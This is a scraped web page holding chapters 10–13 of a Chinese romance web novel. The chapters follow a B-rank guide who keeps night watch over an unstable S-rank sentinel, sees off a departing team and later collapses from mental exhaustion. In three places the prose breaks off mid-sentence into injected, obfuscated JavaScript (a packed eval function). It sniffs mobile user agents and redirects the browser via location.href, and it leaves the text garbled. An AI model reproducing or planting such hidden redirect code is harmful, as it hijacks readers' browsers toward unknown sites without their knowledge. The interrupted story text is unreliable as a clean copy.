冬晴:妈妈、放我回去坐班好不好,S级哨兵什么的太可怕了!我只想和亲切友善的B级哨兵玩耍啊!! 被强行派送了一个和等级完全不符的送死任务。 她有点害怕和委屈地问:“那怎么办,就一直看着他,直到时诺向导的精神力恢复吗?” 伊莱回头看了脸色苍白的时诺一眼,叹口气,安慰道:“现在也只有这个办法了,走一步看一步吧。不管怎样,起码我和时诺向导不会让你受伤的。” 于是,冬晴在给艾拉发完报备的信息后,就跟着剩下三人在紧闭的办公室里待着。 她都要感慨,自己对于死亡威胁的接受能力简直高得离谱。 时诺有很多工作要处理,伊莱的小队即将出任务,他在光脑上远程和队员们交流,只有冬晴一个人闲得没事干。 她无聊得抓狂,随便抽了张白纸,坐到地毯上,趴在茶几上画格子,自己和自己下五子棋。 赫尔曼就坐在旁边的沙发上,依旧在……闭目养神。 她刚玩了三局,兴许是趴着的姿势太过舒服,办公室里又有时诺向导的精神力,竟然很快睡过去。 这一觉睡得很长,从下午睡到晚上,再睁眼时外头天都已经黑了。 她迷迷瞪瞪地起身,发现自己不知道什么时候跑到了休息区的软垫上,身上还盖着件男士外套。 “冬晴向导,你醒了?”过来喝水的伊莱发现她的动静,提了一份食盒到桌子上,“饿吗?给你留了一份饭,一直保温着。” 冬晴揉了揉脸让自己清醒过来,肚子确实饿得难受,道过谢后打开食盒吃起来,又问:“很晚了吗,你怎么还不睡?” 伊莱看她吃得嘴边沾了点酱汁,抽了两张纸巾递给她:“失控的哨兵会处于长期亢奋状态,夜晚睡不着,并且也是发狂的高发期,我盯赫尔曼前半夜,时诺向导看他后半夜。” 冬晴接过纸巾擦了擦嘴,心想这完全就是病人啊……还要人给他守夜。 等她细嚼慢咽地结束一餐,正好是伊莱和时诺换班的时间。 时诺被自己定的闹钟叫醒,从休息区的另一块软垫上起来,看到刚收拾完食盒的冬晴。 他揉了揉眉心让自己清醒,声音沙哑:“你醒了?那过来跟我一起守夜。” 时诺站起身走了两步,看到冬晴还坐在原地愣愣地看着他,没有要动一下的意思。 冬晴:刚刚伊莱可没说要我守夜这回事…… 时诺看出她心中所想:“我是个精神力受损的向导。” 冬晴:“我还是个B级向导呢。” 时诺:“不要搞等级歧视那一套,人多力量大。” 冬晴一言难尽地看了眼自己的上司。 冬晴:老板,你真的变了,以前明明还维持善良好上司的人设,自从戳穿她的真实身份后,好像连演都不演了。 左右也睡不着,冬晴便跟着他回到待客区。 一进去,这位演都不演了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421662|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好领导便抢占先机,一屁股坐在唯一的单人沙发上。 看着唯一还有空余的、已经坐了一个赫尔曼的长沙发,冬晴选择扭头就走。 时诺轻笑着宽慰:“你就当他睡了。” 冬晴看着双眼紧闭的赫尔曼,想起他从下午开始好像就这样了,于是悄声问:“你怎么确定他不是真的睡着了?” 然后—— 好奇心旺盛的冬晴就看到赫尔曼缓缓睁开眼,淡淡瞥了她一下。 冬晴:!! 冬晴:“好的赫尔曼队长,我知道您没睡着了,您继续闭目养神吧。” 她其实还想补充一句:小的先退下了。 挣扎无果,最后,冬晴还是硬着头皮,努力远离地坐到了闭目养神的赫尔曼旁边。 深夜,整个白塔静得有些可怕。 时诺的办公室里点着昏黄的夜灯,冬晴如坐针毡地坐在沙发上,和自己的上司面面相觑。 她实在有些尴尬,一尴尬话就多,胡说八道一通,时诺耐心地听着,听得懂就回两句,听不懂就笑着看她,等她开启下一个话题。 “对了老板。”冬晴突然想起什么,幽幽地看了时诺一眼,有点埋怨的意思,“你是不是跟伊莱说过我的坏话。” 时诺不解地挑挑眉:“有吗?我不记得我在别人面前说你的坏话。” 冬晴一副“你还想骗我”的鄙视表情:“你跟伊莱说我是个奇怪的人。” 时诺一愣,似乎没想到会是这一句,不由轻笑起来,反问:“你不奇怪吗?” “真是的,那也不能这样说吧!”冬晴抗议,“你把我的形象搞成一团糟了知道吗!以后请在伊莱面前说点我善良、勤奋、有上进心、一看以后就很有出息、是支潜力股这样的话好吗?!” 时诺忍笑地点头:“知道了,我会的。” 冬晴:看你的样子总感觉并不会啊。 冬晴有点儿气,脑补着伊莱听到时诺说自己是个怪人之后的反应,更觉得懊恼窘迫,总之消停了好一会儿才又开口: “时诺向导。” 其实她还没想好要说什么,但安静太久了,先喊一声再说。 结果半天没等来答复,她奇怪地又叫了一声:“时诺向导?” “他睡着了。” 身旁一直静如死水的地方突然传出低哑的声音。 冬晴险些没惊叫出声。 “他他他、他睡着了?” 冬晴闻言赶紧去看时诺,果见他单手支着脑袋,眼睛阖上,眉头微蹙,很疲惫的样子。 “那怎么办?”冬晴下意识问赫尔曼,“得叫醒他吧?” 等半天又没等到回答,冬晴怀疑赫尔曼不会也睡着了吧,这群S级一个两个都怎么回事。 一扭头,对上他低垂着、没什么情绪盯着自己的眼神。 赫尔曼懒散地看着她:“你不是很喜欢恭维他吗。” 冬晴反应了两秒才明白他的意思: 让疲惫的上司好好休息,这不正是你作为下属献殷勤的好时机。 冬晴没被他刻薄的话语激怒,因为她并不为自己的生存之道感到羞耻: “嘴上恭维归恭维,我要是真死在这儿可就一点都不好玩了!” 赫尔曼觉得自己大概真的被污染搞得头脑不清,竟然跟一个B级向导多话。 他随意移开视线:“不用叫醒。” “这不行吧……” 说实在的,冬晴不太敢违背这条恶犬的意思,万一让他一个不顺心,污染扩散,随时就要变成疯子啊! 她很小声地试探:“你要是失控怎么办?” 赫尔曼闭了闭眼,不耐道:“不会。” 冬晴立刻噤声,凭她察言观色的本事,她觉得这位仁兄的耐心已经达到边缘了。 她现在身边总共有两个东西,一个是熟睡的上司,一个是不定时的炸弹。 冬晴:哈哈,太刺激了,比某岛国的某特产还刺激! 后半夜气温开始骤降,冬晴手脚有点发冷,虽然不知道是因为气温还是身旁人的气压。 她安静了很久,人都快绷僵了,想着赫尔曼的耐心值应该回升一点了,大着胆子道: “那个,赫尔曼队长,我想出去一趟。” 赫尔曼缓缓睁开眼,在心里替她补全这句话: 我想出去一趟,然后不回来了。 他转头盯着冬晴的脸,看她直白写在了脸上的情绪—— 害怕、紧张、无措、小心翼翼,还有很想逃。 他在心里“啧”了一声。 留一个B级向导在这里有什么用,他也不知道时诺是怎么想的。 爱走就走,赫尔曼心想,省得话多惹人烦。 于是冷硬地吐出一个字:“去。” 冬晴顿时如蒙大赦,就差站起来跳个舞庆祝,一边对赫尔曼说“谢谢你”,一边无限放轻脚步走出去,生怕把一旁的时诺吵醒。 哨兵的五感异于常人,他听见冬晴脚步无比轻快地越走越远,听见她放慢动作,猫着身子打开门,然后泥鳅似的钻出去。 最后是几近于无的“咔嚓”一声,她把门关上了。 赫尔曼感到整个世界都安静了。 11. 第 11 章 太安静了,赫尔曼无意识地在心里想。 安静得像一片虚无。 在这片虚无里,他的烦躁、恐惧、不安,都如同海绵吸水般,源源不断地汲取着养分。 涨大再涨大,快要撑破他的身体了。 怎么办。 他有预感,在这个过于安静的夜晚,有一根神经要断开了。 没有人能救他了吧…… 时诺的精神力也受损了,净化不了自己。 向导的精神力受损了。 这个认识让赫尔曼的瞳孔猛地放大。 握成拳的双手已经涨满青筋。 他的精神力受损了……他的精神力……他的精神力…… 这个世界上唯一能救他的东西没有了…… 怎么办……精神力……! “咔嚓。” 他忽然听到门被打开的声音,警惕心生硬地打断了他的沉陷。 是谁? 那个B级向导肯定不会再回来,是谁得到了他失控的消息,想要趁机…… “我回来了。” 赫尔曼听到了那个从方才起就一直很聒噪的声音。 身侧的拳头蓦地松开了。 冬晴再次小心地把门合上,那句“我回来了”她是用气声讲的。 也不知道要讲给谁听。 她现在身上挂着四张小毯子,沉得不行,先艰难地挪进休息室,看见伊莱躺在一个巨大的懒人沙发上,整个人蜷缩成一团,就像只小猫。 她条件反射地摸了摸自己的鼻子,很好,这次很有骨气。 把其中一张毯子盖住他的身体,冬晴带着剩下的三张小心走回待客室。 脚步从近到远,再从远到近,赫尔曼无神地盯着入口的地方。 他看见身上挂着三张毛毯的冬晴出现在视野里,看见她因为自己的目光吓得抖了一下,看见她傻兮兮对自己笑了一下。 他感到身体里某种汹涌的潮水在快速消退。 什么鬼啊…… 冬晴腹诽,顶着着那张阴森森的脸就不要在大半夜吓人了行不行? 知不知道人吓人是会吓死人的啊?! 作为爱好是恭维上司的十佳好下属,冬晴给时诺披上了条毯子,并且对老板的睡眠质量表示十分羡慕。 跟这么一条处在失控边缘的恶犬待在同一屋檐下,竟然还能睡得这么无所顾忌。 佩服佩服。 佩服完,冬晴举着两条毛毯,蹭回了长沙发,把其中一条递给赫尔曼,笑嘻嘻道: “给你,赫尔曼队长。” 没错,她对自己友善同事,讨好上司的职场原则就是这么坚守,即便遇到无可救药的坏同事,也一以贯之地散发友好信号。 坏同事赫尔曼没伸手接,冬晴就把毯子直接挂在他腿上,然后抖开自己的毛毯,想要把自己裹起来。 是的,后半夜实在有点冷,这里的三个S级就没一个靠谱的,还得靠她偷溜回休息室找毯子。 冬晴觉得她现在是有点等级歧视了,不过是倒着的—— S级脑子最不好,A级稍微有点神经,B级最正常。 “你的毯子比较厚。” 身旁的赫尔曼突然出声,冬晴愣住,完全摸不着头脑:“怎么了赫尔曼队长,你怕冷吗,那我跟你换一条?” “不用。”赫尔曼边回答边把毛毯打开,盖在自己腿上。 冬晴嘴角抽了抽,她懂了,恶犬有点感谢她,所以在没话找话。 看来还是有人情味的。 折腾了半天,把自己裹成蚕蛹后,冬晴终于觉得舒坦了,她还得盯着病人到天明呢。 唉!真是再苦不能苦美人,再穷不能穷上司啊…… 怎么苦活累活全让她给干了,冬晴盯着天花板默默感慨。 “你是瑞尔的向导。”赫尔曼第二次冷冰冰地开口。 冬晴把视线从天花板上移下来。 瑞尔的向导?什么意思?她没给瑞尔做净化啊? 她艰难地从蚕茧里伸出一个朝着自己的大拇指,神色呆滞又认真,很光荣道: “我是全体B级哨兵的向导。” 好爽,有一种说了“我是人民的主席”的大公无私感。 感觉下一秒就有B级哨兵排成方阵对她喊“向导好”、“向导辛苦了”。 尚且沉浸在这样的幻想中,冬晴却眼睁睁地看着赫尔曼一直平静无波的眼神里,有一点冷意化作了无语。 冬晴:? 冬晴:喂,把话说清楚啊!你刚刚那就是在偷偷骂我吧? 冬晴:跟你们不是B级的人真是说不清…… 看他态度似乎没有凶了,冬晴试图和他聊个两块钱的:“话说你污染怎么这么严重啊,伊莱之前跟我说污染代表一个人内心的恐惧不安之类的,你很害怕白塔外面的东西吗?” 赫尔曼静默的三秒里,冬晴在想,万一他真的懒得搭理自己怎么办。 那她可能会冒着掉脑袋的风险掐死这种不理人的家伙,算是她为这个世界做的最后一件好事了。 好在赫尔曼还没有丧心病狂到那种地步,他只是在沉默之后问了个毫不相干的问题: “你和伊莱很熟?” 冬晴被他话题转换的速度惊到。 但还能怎么办,面对这种完全不会聊天的人,她只能向下兼容了:“也算不上很熟吧,好像就见过几次面?但伊莱队长性格很友善亲切,能勉强说得上几句话……” 说到最后一句,冬晴声音越来越小,莫名感到背后在冒冷汗,心虚地瞥了一眼赫尔曼:“哈哈,完全没有说赫尔曼队长你性格不友善的意思呦!” 赫尔曼又不说话了,冬晴在脑海中点了一首歌送给自己: 凉凉月色为你思念成河,化作春泥…… “不是害怕白塔外面的东西。”赫尔曼突然出声打断她脑中的歌喉。 冬晴意识到他是在回答自己之前的那个问题。 她很想知道这人的脑回路到底怎么长的…… 然而冬晴根本不信他的话:不害怕还污染严重?呵呵! 但为了保护男人幼小的自尊心,她当然不会把实话说出口,而是打着哈哈把这篇翻过。 然后开始她最擅长的无营养对话。 “赫尔曼队长,你难道一点都不困吗?” “嗯,不困。” “那你现在感觉怎么样?” “一般。” “一般就是不会失控的意思吧?” “嗯。” “不会失控。” “那就好。” “瑞尔在你们队里都表现得怎么样?” “一般。” “一般就是表现得很好的意思吧?” “……” “你现在说这么多话会不会太消耗精力,导致污染严重?” “不会。” “一般就是完全不会的意思吧?” “哦哦,你说不会。” “……” “你好像只听得到自己想听的东西。” “是的,所以我总是听到时诺向导说要给我升职加薪。” 冬晴就这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421663|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和赫尔曼浪费口舌到第二天清晨。 直到时诺和伊莱前后脚醒过来。 时诺睁眼先是看到自己身上盖着的毛毯,一愣,再抬头看到冬晴那张幽怨的脸。 时诺:“抱歉,不小心睡过去了。” 冬晴默默把他的毯子收回来:“老板,你在我心中的地位已经一落千丈了。” “你后半夜一个人守着赫尔曼了吗?”伊莱过来时正好听到这段对话,把毯子同样递给冬晴。 冬晴心酸地点点头:“我很伟大吧?” “你要去哪儿?”时诺皱眉看着似乎打算离开的赫尔曼,发问。 赫尔曼头也不回地继续往外走:“回去训练。” 伊莱闻言同样怔然:“你不是失控……” 赫尔曼直接开门离开,只留下一句:“不会失控。” 三人在原地看他离开的背影,一时谁也没去拦。 “完蛋了。”冬晴猛然扭回头,感觉自己闯了大祸,“我好像昨天和他说太多话,他疯了。” 伊莱:…… 时诺:…… 冬晴是个奇怪的人。 但时诺和伊莱不是,他们知道哨兵对自己的污染程度有大概的把握,既然他说不会失控,那就肯定不会失控。 时诺拍拍她的肩示意她不用担心:“行了,昨天辛苦你了,赶紧回去休息吧,你上午有排班吗?我帮你改一下。” 冬晴点点头,她眼下确实困得要死。 收拾着毯子离开时,这才发现赫尔曼的那条毛毯不见了。 算了,下次再说。 她顶着三张毛毯走回休息室,有气无力地打开门,发现艾拉也在。 艾拉见她神色疲惫,赶紧上来替她拿毯子,指着不远处椅背上的又一根毯子道:“这是刚刚赫尔曼队长送过来的。” 冬晴点点头表示知道了,随手抽出一根毛毯,飘到沙发边:“艾拉,我现在得睡一会儿了。” “真是的,你快睡。”艾拉担心地说,“我上午没班,守你一会儿。” 冬晴“噗通”一声倒进沙发,把毛毯扯到身上,这才发觉,这根毯子上沾着一股浓郁好闻的香气。 啊——是伊莱盖过的那条呢。 脑海中浮现出伊莱像只小猫般蜷缩的睡姿。 她把头往下埋了埋,沉沉睡去。 又过了很久,在半梦半醒间,冬晴听到有人在她身旁小声地讲话—— “抱歉啊伊莱队长,冬晴她还睡着。” “没事,不用叫醒她,我就过来看看。” 是伊莱吗? 她感到有人靠近,那股一直在她梦里萦绕的香气,轻柔地袭过来了。 伊莱刚在她身边蹲下,就看见冬晴缓缓睁开了眼。 他神色温柔又抱歉:“是我吵醒你了吗?” 冬晴恍惚地从沙发上坐起来,没什么知觉地摇了摇头,毛毯从她身上滑落。 等意识清醒点了,她才问:“伊莱?你怎么过来了?” 伊莱替她把一簇睡得翘起来的头发抚平,是个很亲昵的动作,冬晴眼睛都缓缓睁大了。 她做梦呢吧? “任务临时提前了,马上就要走,我过来看看你。” 冬晴大脑缓慢地接收着信息,伊莱的小队要出任务了。 那星隅也要走了?她刚睡醒,神思飞得有点远,想到在静音室那天之后也有好久没见到他了。 于是从沙发上起来,问:“我能不能送送你们?” 伊莱惊讶了一瞬,看她脸上确实没什么睡意了,眯眼笑起来:“好啊。” 12. 第 12 章 和艾拉打过招呼,冬晴跟着伊莱往外走。 他们小队已经在白塔入口处集结,估计又有很多人会来送行。 鼻尖全是挥之不去的香气,冬晴不由自主地挪着步子靠近了他一些。 有点像女流氓了,她在心里吐槽自己。 “对了伊莱。”冬晴想起什么,“时诺向导精神力受损,你也不能净化了吧?是不是在出任务之前要再净化一次才比较安全?” 伊莱闻言侧过脸看她,昂着脑袋,真心实意地为自己担忧。 “我的污染本来就不严重。”他说着,抬手将粘在她脸侧的几根头发拨开。 指尖很轻地擦过她的肌肤,却像是要燎起火星。 冬晴:! 冬晴:?#%#*! 脸要红成变色龙了吧,冬晴心想,还有鼻血、鼻血,千万不要在这个时候流下来,千万不要啊! 他们还没走出向导区,走廊里很静,只有两人同频的脚步声在回荡。 “而且,不用担心,我有为自己想办法。” 伊莱说话间,垂眸看着目光僵直,走路几乎顺拐,脸缓缓变色的冬晴,眼底快柔得为她淌出水来。 冬晴:身上好香,在说什么,听不懂。 走到白塔入口处,果然如冬晴所料,里三层外三层地围着人。 伊莱在旋转门前拉着她停下:“你要出去吗?外面人有点多。” 当然得出去,冬晴心说,小猫还没见到呢。 她踮着脚往外张望了一下,小猫个头算高,一眼就能看到。 啊——果然脸很臭,冬晴在心里偷笑。 下一秒,星隅似有所感地皱着眉往里面望进来。 她吓了一跳,赶紧躲在伊莱身后,借他挡住自己,并说:“我要出去,伊莱,能不能就这样先把我挡起来?” 伊莱顺着她的目光看到了那个焦躁张望的人,又回过头来,若有所思地看了满脸兴奋的冬晴一眼,最终没说什么,照着她的意思做了。 跟在伊莱身后走近小队,冬晴都快激动得忍不住笑声出来。 她一直偷偷瞟着星隅,发现他连自家队长走到跟前都不在乎,还一个劲地冲塔里面看。 下一秒,她从伊莱身后跳出去,蹦到星隅眼前,高兴地大喊: “喂!星隅!” 星隅被这出意外吓了一跳,目光骤然收回来,看到心心念念的人,先是一怔,随后嘴角翘起又压下,仰着下巴强装淡定:“你来送我的?” 吓唬星隅的目的已经达到,冬晴也挺高兴的:“对啊,我来送你们。” 还不忘拉踩:“我看你的五感也不怎么厉害嘛,上次瑞尔隔老远就闻到我了。” “那是因为他是狗!”星隅非常不满意她拿自己跟瑞尔比,才开心了没一会儿就又要生气。 “好了好了。”冬晴不敢再逗他了,拍拍他的肩膀,随口嘱咐,“出门要小心,我等你回来哈。” 星隅抿着嘴,瞪着眼看她,仿佛还是一副忿忿的模样。 真是哄不好了,冬晴撇撇嘴。 然而,下一秒—— 星隅毫无预兆地俯下身,张开双臂抱住她。 又是拥抱啊,冬晴发现自己好像有点脱敏了。 她没觉得特别抗拒,便伸手非常“朋友式”地拍了拍他的背:“猫行千里晴担忧。” 只抱了很短的一会儿,星隅就直起身来,抬手有点不自在地蹭了蹭脸颊,嫌弃道:“什么乱七八糟的。” 冬晴嘿嘿一笑,正打算和伊莱道别然后离开,一扭头。 发现他似乎一直在看着自己。 “那我就先……” 她话还没说完,被伊莱突然伸出双手的动作打断,他朝冬晴笑得极为漂亮:“不和我抱一下吗?” 这这这这、这行吗?! 冬晴怔住:这算调戏美人吧?会被判处流氓罪然后抓进去的吧?! 但实在太漂亮了…… 此时不抱更待何时。 冬晴略显腼腆地走近,伸手抱住伊莱的腰身。 被香气抱住了…… 她感到伊莱用双臂很扎实地在她背后拥了一下,然后在她耳边道:“等我回来。” 在小猫又开始生气的眼神中,和美人笑意盈盈的挥手中,冬晴带着满身香气,满面春光地回了白塔。 - “奖金奖金,艾拉一份我一份,艾拉两份她一份,艾拉三份她一份……” 冬晴坐在休息室的工作全息前,一边嘀咕一边填写B级向导的奖金申报表,刚校对完一遍,门外就响起一阵敲门声。 “请进。”冬晴将表格保存,划着旋转椅转身。 门外立刻探进一个小狗脑袋:“向导姐姐。” “瑞尔?”冬晴看着他亮晶晶的下垂眼,笑问,“找我什么事?” 瑞尔摇摇头:“我刚找完A级向导,路过姐姐这里,就过来看看,打扰到你了吗?” “当然没有。”冬晴告诉他。 反正手头的事情已经完成了,她索性问瑞尔:“现在不用训练吗?要不要出去逛逛?” 瑞尔意外地瞪大了眼,飞快点头答应:“嗯!” 嘴上说想要出门透气,其实冬晴真正想干的事是遛狗。 半路上就叫瑞尔把精神体给放了出来,边牧摇着尾巴在两人身边狂奔。 没有飞盘之类看起来比较专业的狗狗玩具,冬晴只好使用最原始的道具,虽然看起来会很侮辱边牧的智商。 “去!”冬晴站在露天的草地上,用力抛出去一根不知道从哪儿捡来的树枝。 边牧冲她兴奋地叫了两声,飞速冲出去,几秒后就衔着树枝回到她面前。 小狗低头,把树枝放在她脚边,然后扬起脑袋盯着她,尾巴晃出残影。 冬晴以前勤勤恳恳地读了几年书、然后又兢兢业业地工了几年作,做人不算聪明,处事也不成熟,活到二十二岁那年,靠着和甲方妈妈相互为难,才将将能把自己养得吃饱穿暖。 养活自己一个已经用尽全部力气了,她没法再管一个,因此偶尔出门,看见别人遛狗撸猫,总觉得几分羡慕。 没成想竟然在这儿全实现了。 玩了好几个来回,冬晴觉得特别畅快,蹲下身,双手捧住小狗的脑袋揉搓起来:“好狗!” 她对小朋友一般实行鼓励式教育,毕竟同事的精神体应该也算半个同事,于是毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421664|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害臊地大声夸奖: “这世界上怎么有这么聪明的小狗呀。” “又帅气又有智慧,把别的小狗全都比下去了。” 瑞尔则坐在一旁的长椅上,目光一错不错地盯着冬晴,眼睛弯弯的,笑得很开心。 不知何时,冬晴头顶落下一道阴影,低哑的男声从上头砸下来:“你在做什么?” 她抬头,竟然看到赫尔曼,他还是那副冷淡的表情。 冬晴现在心情很好,于是对他笑了笑:“报告赫尔曼队长,我在陪狗玩。” “陪狗玩?”赫尔曼重复了一遍她的话,脸色不太好看,“你也把你的精神体当宠物?” 冬晴有点莫名其妙,她的那团绿色起泡胶? 想起自己把它当解压玩具捏,还用来清理桌面,理所当然道:“没有啊,我把它当玩具。” 赫尔曼明显一噎,默了片刻才道:“精神体是内心流露,和本人无异。” “什么……” “队长。” 她话还没说完,瑞尔就小跑到了她身边,微微上前一步挡住她一点。 赫尔曼将视线冷冷地转到自己的这位队员身上,淡淡点了个头,没说什么就转身走了。 冬晴差不多玩够了,也从地上站起,拍掉裤腿上沾着的草。 心中腹诽:这人简直比我还奇怪,什么精神体和本人无异,偷摸着骂瑞尔是狗当我听不出来是不是?搞得好像你自己不是狗一样……我是不是绿色史莱姆我自己还能不知道吗? “姐姐,你没事吧?”瑞尔关切地盯着冬晴的脸左右看看。 “我能有什么事。”冬晴站直身子,同样回看瑞尔,“反倒是你,上次擅自离队,你队长有没有乱罚你?” 瑞尔摇头:“队长不会乱罚,都是正常处罚。” “那就好。”冬晴松了口气,拧开水瓶的盖子喝了一口,随口问道,“罚了什么?” 瑞尔:“防御对抗训练五千次。” 冬晴“噗”一口把嘴里的水喷出去。 什、什么东西?! 虽然防御对抗训练是什么她不知道,但单五千次这个数量听起来就很不对劲吧?! 冬晴:天杀的,我家小狗都快被恶犬练死了,还在夸恶犬人好呢! 冬晴真不知道该怎么跟他说了,想了半天只道:“这样,他下次要是再罚你什么五千一万的,你就偷偷告诉我,我再偷偷告诉时诺向导,告他一黑状!” 瑞尔看着志得意满的冬晴,虽然不知道为什么要向时诺向导告状,但听到她是在给自己出气,依旧觉得很满足:“姐姐,你对我真好。” 冬晴仰头喝水,有点心虚。 太好骗了……随便讲两句不要钱的话就觉得是对他好了。 “是不是跟亲姐姐一样?”她擦了擦嘴角的水渍,依旧侃侃而谈,毫不脸红。 瑞尔失神了一瞬,随后对她一笑,手下意识去握她垂在身侧的指尖,总觉得得抓住点什么: “不是亲姐姐。” 冬晴被烫得赶紧把指尖抽出去:“喂、喂喂喂,不是亲姐姐就不是亲姐姐,不要动手好不好。” 瑞尔依旧乖乖一笑:“我知道了,姐姐。” 13. 第 13 章 周一,感觉人生一眼望得到尽头,好视力,先坐个全班。 周二,感觉前途一片黑暗,好凉快,再坐个全班。 周三,感觉生活千疮百孔,好透气,还坐个全班。 周四…… 周四,冬晴坐完全班刚走出静音室,突然感到一阵耳鸣,随后又像是被人摁进水里,什么也听不真切。 她扶住一旁的墙壁,正想让自己蹲下缓缓,眼前却猛然一黑,什么知觉也没有了。 “滴——” “滴——” 意识重新归笼,最先恢复的是听觉。 她像是蜷缩在一片混沌之中,只能听到某种频率相同的机械声。 “滴——” “滴——” 其次恢复的是触觉,身边的混沌逐渐化开。 她意识到自己的四肢舒展着,平躺在什么地方,皮肤底下不是冰凉的,说明应该不是静音室门口的瓷砖地板上。 “滴——” “滴——” 最后,她缓缓睁开眼。 眼珠受到什么牵引似的转了两圈,溃散的视线努力聚焦,她终于看到了白色的天花板。 “醒了?” 身边有道声音在问她。 冬晴花了半分钟时间来重启自己的记忆板块,后知后觉地想起这是谁的嗓音。 她牵动自己的面部肌肉,艰难地露出一个不太好看的笑:“时诺向导。” 又在床上躺了近十分钟用来缓神,这段时间内她已经看出自己身处哪里了—— 白塔医疗部的病床上。 等到手脚恢复了力气,冬晴试图撑着自己从床上坐起。 时诺察觉到她的意图,便起身将她扶起来。 冬晴这时候已经自认为正常了,她伸手摸了摸脑后,果然碰到一个很痛的大包。 她可怜的后脑勺啊…… “我在静音室门口晕了。”她像是自述犯罪过程般对时诺认真道。 时诺的脸色很不好,并不接她的话,只是沉默着给她倒了杯温水,又叫医生进来大致检查了一次。 这期间他几欲张嘴,却什么都没说出来,直到医生离开,病房内又只剩下他们二人。 “不是说我是你的老板么。”时诺闭了闭眼,手指揉着眉心的位置,看起来有点郁闷,“为什么我说的话你连半个字都没听?” 虽然不知道他指的是什么,但冬晴还是在内心得意一笑: 嘿嘿,这你就不懂了吧,此乃现代牛马的高明之处,名曰向上PUA—— 意思是我会在嘴上把你哄成皇帝,每天不是“嗻”就是“喏”,不是“喏”就是“陛下英明”,但一转头,我爱干嘛干嘛,三十六计,阳奉阴违。 时诺见她有些出神,拧眉继续道:“我告诉过你精神力枯竭是会死的吧,三天净化四十个哨兵,你是想当超人吗?” 超人?冬晴感到新奇惊讶,这个世界竟然有这么时髦的词汇。 那感情好,她要在B级向导里设一个“超人奖”,再配上高额奖金,每个月都颁发给自己…… 不对,说到奖金…… 冬晴猛一个回神,用力拍了拍身上的被子,连眼神都清澈了: “完了完了,时诺向导!奖金!B级向导的奖金名单!” 她不知道自己晕了多久,是不是已经错过名单的提交时限了。 根本就没有在听他讲话啊…… 时诺看着突然激动的冬晴,也无法明白,她是怎么从精神力枯竭联想到奖金的。 他无奈地叹了口气,告诉她:“名单我已经上交了,你给艾拉申请了六份奖金,昨天发完工资,艾拉还哭着找过来,问我你是不是真的出事了,为什么她突然收到一大笔遗产。” 这种乌龙事件,从时诺向导的嘴里讲出,有种莫名的诙谐感。 冬晴没忍住,“哧”一声笑出来,还向他眉飞色舞地解释:“老板,你知道六份奖金是多大一笔钱吗?我都没提前告诉过艾拉,她收到的时候肯定吓死了!” 金钱啊金钱,冬晴想,这是她能够给系统妹妹最宝贵的东西了。 时诺发现她在意的事情总是令人费解,无可奈何,只能对她笑了笑。 得知工作的事情没有耽搁,冬晴这才有闲心问问自己的身体状况。 她左右看看病床边“滴滴”作响的仪器,觉得自己应该还挺健康的,起码没有出现一条直线的状况: “时诺向导,我是累晕的吧?” 时诺平静回答:“精神力透支。” 并且在冬晴开口前补充:“我已经取消了你接下来两周的排班,禁止了你静音室的预约功能,即便你净化了哨兵,也不会算在这个月的……业绩里。” 他猜测“业绩”这个词是这么用的,因为总听冬晴叽叽喳喳地向他炫耀: “老板你知道我这个月的业绩有多厉害吗”、“B级向导的业绩完全在靠我支撑啊”、“要是没有我这个组长,B级向导的业绩可怎么办”之类的。 两周?! 冬晴立刻抗议:“两周也太多了吧?我觉得三天就差不多了,真的!” 然而时诺态度强硬地向她表示抗议无效:“没得商量。” 冬晴泄气般躺了下去,实则没觉得多少失落。 毕竟她从来不逞嘴上功夫,三十六计,阳奉阴违,先应下再说,呵呵! 她大大咧咧地靠在病床上,双手枕到脑后,把病房躺出了五星级度假酒店的气势。 安静地看了窗外良久,不知在想些什么,突然道:“时诺向导,其实,之前那位冬晴向导,大概也是过劳猝死的。” 时诺闻言缓缓抬头,只看到她宁和的侧脸:“什么?” 冬晴说:“我前不久翻看了个人光脑,发现她也会长期坐全班,每个月大概有三分之二的时间。” “我并不清楚这件事。”时诺回答。 B级向导白塔内总共有五十五位,如果不是因为她完成了跨级链接,如果不是时诺那段时间正好暂代B级向导组长一职,两人兴许很难有什么交集。 所以时诺不知道她的情况是正常。 向导作为珍惜资源,排班的原则更是尽量轻松,谁不是按时按量地完成任务,谁会愿意牺牲自己的精神力去长期额外工作。 ——谁能想到世界上会有这么奇怪的人。 冬晴出神地点着头,窗外阳光很好,透过玻璃窗映在她的半张侧脸上。 她呢喃着:“她会不会跑到我那里去了,肯定完全搞不懂我电脑里的方案吧,那可不是一个凭本能生活的地方……不过有甲方妈妈在,她应该不会比我以前过得差。” 